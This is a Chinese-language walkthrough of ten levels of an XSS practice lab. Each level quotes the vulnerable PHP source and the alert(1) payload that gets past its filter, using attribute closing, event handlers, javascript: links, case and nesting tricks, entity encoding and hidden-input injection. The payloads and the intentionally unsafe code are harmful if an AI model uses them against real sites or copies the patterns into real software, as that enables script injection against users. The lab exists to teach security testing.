xss-lab
第一关

将name的值直接输出
可以利用
<script>alert(1)</script>
弹窗

第二关
使用第一关的方法

行不通
查看php源代码,在github上下载
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
在<h2> 部分有htmlspecialchars函数对其进行了过滤
(htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。)
在<input name=keyword value="'.$str.'"> 部分,未进行过滤
可以将input闭合
"><script>alert(1)</script>

第三关

会将搜索框的内容展示出来
尝试<>()

会进行过滤
查看源代码之后发现
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
input处也进行了过滤,但是没有过滤‘
不能使用<script>alert(1)</script>
因为对<>进行了过滤
使用
'onclick='alert(1)

点击搜索框之后

第四关
尝试使用<script>alert(1)</script> 发现<>被过滤 
尝试用’οnclick=‘alert(1)

并没有作用
尝试
"onclick="alert(1)

点击之后

查看源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
发现
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
对<>进行了过滤
input处可以采用"" 来闭合
第五关
尝试<script>alert(1)</script>

script被过滤成scr_ipt
尝试οnclick=alaert(1)

onclick被过滤成o_nclick
所以采用其他标签构建
<a href="javascript:alert(1)">

要对前面进行闭合、
"><a href="javascript:alert(1)">

点击产生的超链接

查看源代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
对关键字<script替换成<scr_ipt,关键字on替换成o_n
input处使用:>进行闭合
<a> 标签定义超链接,用于从一个页面链接到另一个页面。
<a> 元素最重要的属性是 href 属性,它指定链接的目标。
第六关
经过测试之后,发现他对script onclick href均会过滤
用">可以将前面进行闭合
使用大写的HREF尝试


(在被过滤的情况下,使用大写字符尝试)
第七关
尝试<script>alert(1)</script>
发现对script进行了过滤
我们尝试将script中间插入script

可以输出成为script
前面加上">进行闭合

查看源代码
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
strtolower()把所有字符转换为小写
故可屏蔽大小写
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
将script、on、src、data、href均替换为空
第八关
通过友情连接进行注入
javascript:alert(1)

script变为scr_ipt
大佬说用html实体转换进行绕过

javascript:alert(1)


源代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
第九关
尝试上一关的代码
javascript:alert(1)

被判断为不合法
查看源代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
输入不含http://则会判定为不合法
故构造
javascript:alert('http://')


strpos()函数:查找字符串在另一字符串中第一次出现的位置
不存在则执行if中的语句,判断为不合法
第十关

有keyword的存在,却没有输入框
毫无思绪
查看源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
keyname并不是要注入的地方,真正注入的地方是三个input,但是这三个input被隐藏了
大佬说构造出
/level10.php?t_sort="onclick=alert(1) type=text"

点击输入框

|